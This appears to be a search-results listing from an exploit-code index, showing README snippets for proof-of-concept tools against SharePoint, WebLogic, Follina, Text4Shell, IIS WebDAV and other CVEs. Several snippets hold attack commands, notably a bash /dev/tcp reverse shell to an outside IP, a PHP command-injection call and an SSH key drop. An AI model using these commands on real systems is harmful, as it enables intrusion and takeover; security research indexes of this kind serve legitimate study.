627390 matches found
CVE-2025-53770
Divine Absolute - CVE-2025-53770 Exploit Tool Overview Divine Absolute is a sophisticated, wizard-driven Python exploit tool targeting CVE-2025-53770 , a critical CVSS 9.8 unauthenticated remote code execution RCE vulnerability in on-premises Microsoft SharePoint Server 2016, 2019, Subscription...
CVE-2019-13764
CVE-2019-13764 A full exploit written by Haboob Research Team Tested on V8 version 8.0.0 on Linux ubuntu 18.04 Detailed blogpost about this vulnerability: https://blog.haboob.sa/blog/cve-2019-13764-from-root-cause-to-bash...
oracle-weblogic-CVE-2021-2109
oracle-weblogic-CVE-2021-2109 Oracle Weblogic RCE - CVE-2022-2109...
CVE-2026-109275
A flaw was found in ImageMagick. When a PostScript renderer is enabled, a remote attacker can supply a specially crafted Magick Vector Graphics MVG file to inject code into the rendering process. Exploitation of this flaw may lead to arbitrary code execution or a denial of service on the host...
CVE-2021-24155.rb
WordPress-Backup-RCE This Metasploit module allows an attacker with a privileged WordPress account to launch a reverse shell due to an arbitrary file upload vulnerability in Wordpress plugin Backup Guard versions prior to 1.6.0. This is due to an incorrect check of the uploaded file extension whi...
BiblioRCE
An oversight within BiblioCraft which allows restricted server-side file manipulation. This method only requires BiblioCraft! Not too much trickery and no other mods are required to achieve code execution! CoreTweaks The original writeup focused on CoreTweaks can be found here. I recommend you re...
CVE-2022-42889-PoC
CVE-2022-42889 a.k.a. Text4Shell RCE Proof of Concept Text4Shell is the popular name of a critical software vulnerability discovered in the Apache Commons Text library see CVE-2022-42889. This repo is meant to demonstrate a Remote Code Execution RCE that leverages this CVE. The vulnerable code is...
S2-055
S2-055 Deserialization Vulnerability Exploit CVE-2017-7525 Exploitation Process javac ExploitCommand.java package exploit; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import...
CVE-2017-7269
EN GenWebDavIISExploit is a PoC tool demonstrating an exploit for a known vulnerability in the WebDAV component of IIS6. This tool is designed for educational and research purposes to showcase how the vulnerability can be leveraged to execute arbitrary code on a remote server. Disclaimer This...
follina_cve_2022-30190
follinacve2022-30190 A proof of concept to CVE-2022-30190 follina. usage: exploit.py -h -u HOSTIP -p PORT -o OFILE -m server, create -s script | scriptfile.ps1 -r HOSTIP:PORT Follina Exploitation Toolkit options: -h, --help show this help message and exit -u HOSTIP, --host HOSTIP host ip address ...
CVE-2023-27326
Parallels Desktop VM Escape This repository contains an exploit for a Parallels Desktop vulnerability which has been assigned CVE-2023-27326. This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop. The exploit was tested on Parallels Deskto...
CVE-2026-13768
CVE-2026-13768: Privileged IoT Hub Credential β Fleet Enumeration, Device RCE, and Home-Network Pivot Advisory Field| Value ---|--- CVE| CVE-2026-13768 ICSA| ICSA-26-183-03 Gardyn IoT Hub CVSS 3.1| 10.0 Critical Vector 3.1| CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L Vector 4.0|...
Unomi-CVE-2020-13942
CVE-2020-13942 Apache Unomi Remote Code Execution Vulnerability Script Vulnerability Overview Apache Unomi is an open-source Java data platform, a Java server designed to manage data of customers, prospects, and visitors, and to help personalize customer experiences. Unomi can be used to integrat...
CVE-2022-1388
Vuln Impact This vulnerability may allow an unauthenticated attacker with network access to the BIG-IP system through the management port and/or self IP addresses to execute arbitrary system commands, create or delete files, or disable services. Vuln Product F5 BIG-IQ 11.6.1 - 11.6.5 F5 BIG-IP...
CVE-2022-30190
CVE-2022-30190 This Repository Talks about the Follina MSDT from Defender Perspective Index About Timeline Understanding the Exploit List of IOCs Detection Strategy Testing and Researching Mitigation Plans References About The bug is a Microsoft Windows Support Diagnostic Tool MSDT remote code...
cve-2024-4577
cve-2024-4577 poc Check for vulnerabilities python cve-2024-4577.py -u http://172.16.128.133 After a vulnerability is detected, you can use -c to execute a custom command python cve-2024-4577.py -u http://172.16.128.133 -c '?php system'whoami';'...
CVE-2020-12753-PoC
CVE-2020-12753-PoC This repo contains a proof-of-concept for ππ±βοΈπ₯Ύπ, an SBL1/aboot vuln for Secure EL3 arbitrary code execution on the LG Stylo 4 AMZ/Q710ULM. This is only tested on updates 20a and 20c and with the SBL1 variant of the vulnerability. - Makefile : Builds rawresourcesamod.img given...
Next.js-RCE-Scanner-BurpSuite-Extension-
CVE-2025-55182 Next.js RCE Burp Extension Plugin Features Passive Scanning : Automatically detect all Next.js sites passing through Burp Memory Shell Injection v2.2 New! Right-click on the target request, select Inject AntSword Memory Shell AntSword, supports both GET and POST types of memory...
CVE-2024-47533
Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'mkdir -p...